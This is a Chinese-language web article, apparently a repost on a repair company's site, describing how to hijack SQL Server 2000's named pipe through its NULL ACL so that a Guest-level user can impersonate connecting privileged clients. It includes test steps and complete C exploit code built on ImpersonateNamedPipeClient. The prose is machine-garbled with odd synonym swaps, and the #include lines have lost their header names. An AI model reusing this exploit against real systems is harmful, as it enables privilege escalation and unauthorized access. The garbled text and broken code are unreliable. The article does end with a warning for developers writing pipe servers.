设为主页 | 加入收藏 | 繁體中文

SERVER 2000通讯管道后复用劫持

  QL SERVER 2000通讯中,容许利用有名管道来进行通讯,一样平常情况下是如此命名的:
  默许实例:\\.\pipe\sql\query
  命名实例:\\.\pipe\MSSQL$instancename\sql\query
  也可以经过1434 UDP进行查询得到这个管道称号
  但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对这个管道进行挟制,曩昔的挟制都是利用先停掉办事,再建立这个名字管道,然后再启动办事来复用自己已经建立了名字的管道,但现实上SQL SERVER 2000会果断能否已有同名管道,然后会取别的名字,并且低级权限的用户也启动和制止不了办事(除非是利用一些毛病),但是现实上对管道的测试却发明:要是ACL设置成NULL的话,纵然是后命名的管道,也可以挟制先下令的管道,只必要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个预计和真正的管道
  建马上的实例个数有关,如在我的测试下,\\.\pipe\sql\query只必要建立1个接可以挟制了,而\\.\pipe\lsass则必要4-5个之后才能挟制。不过\\.\pipe\lsass的ACL只能是管理员才能进行挟制)
  要是攻击者复用了同名管道以后,建立起几个不释放的管道(斲丧掉了正常管道的实例),然后再有客户提倡的管道连接就进入了攻击者步伐的管道监听流程,剩下的便是大家都知道的利用模仿函数得到提倡者权限的旧调重弹了:
  上面便是一个简单的例子,实现对SQL SERVER 2000管道通讯的挟制
  环境:SQL SERVER 2000+SP2
  WIN2000 SERVER中文版+SP3
  测试流程:
  1。先建立SQL 办事器容许管道通讯,和集成WINDOWS 验证,添加一个具有高权限的容许SQL SERVER登岸的WINDOWS本机帐户,启动SQL SERVER办事
  2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部回绝,其他人都许可
  3。在另外一台机器B上,以添加的可以登岸SQL SERVER的办事器帐户登岸,然后设置客户端网络库只为管道(要是有多个,大概就会是随机选一个连接,而不一定是管道进行通讯了)
  4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,利用集成WINDOWS验证
  5。SQL SERVER这边的机器进入GUEST帐户运行上面C代码的步伐,会表现先无法翻开TEST.TXT文件,然后进行挟制,等待客户端管道连接
  6。在机器B上,连接SQL SERVER,然后主机A的步伐就会截获这个管道饰演高权限登岸用户,然后可以翻开先没权限翻开的文件。
  当然这个攻击自己现实的意义大概不大,因为预计如今SQL SERVER用管道建立通讯的比较少,并且在都容许的情况下,一样平常会自动选择TCP方式进行连接,但同时说明了:一个缺乏很好ACL掩护的管道,也可以用后发复用来进行挟制,这就减少了许多必要先停掉办事或事后预测的难题,在编写办事器端管道应用的时候也必需警惕。
  SQL SERVER 2000挟制代码
  #include
  #include
  #include
  #include
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];  
  DWORD dwNumber = 0;
  //先的测试,在GUEST权限下无法翻开此文件
  fp = fopen("C:\\test.txt","w");
  if(fp==NULL)
  printf("now you don't open file;\n");
  //建立起一个同名管道,复用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGE|PIPE_WAIT,
  100,
  2048,
  2048,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf("error in createnamedpipe!code=%d\n",ret);
  return;
  }
  //斲丧掉其他正常实例
  if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
  {
  printf("no this pipe\n");
  return;
  }
  //可以调整个数,SQL SERVER只必要调整一个就可以了
  for(i=0;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
  {
  printf("open pipe failed\n");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);
  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然后等待连接
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模仿连接出去的用户
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //得到用户信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s\n", szUser);  
  //然后再测试能否能翻开这个文件,证明白实提拔了权限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);  
  return;
  }
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: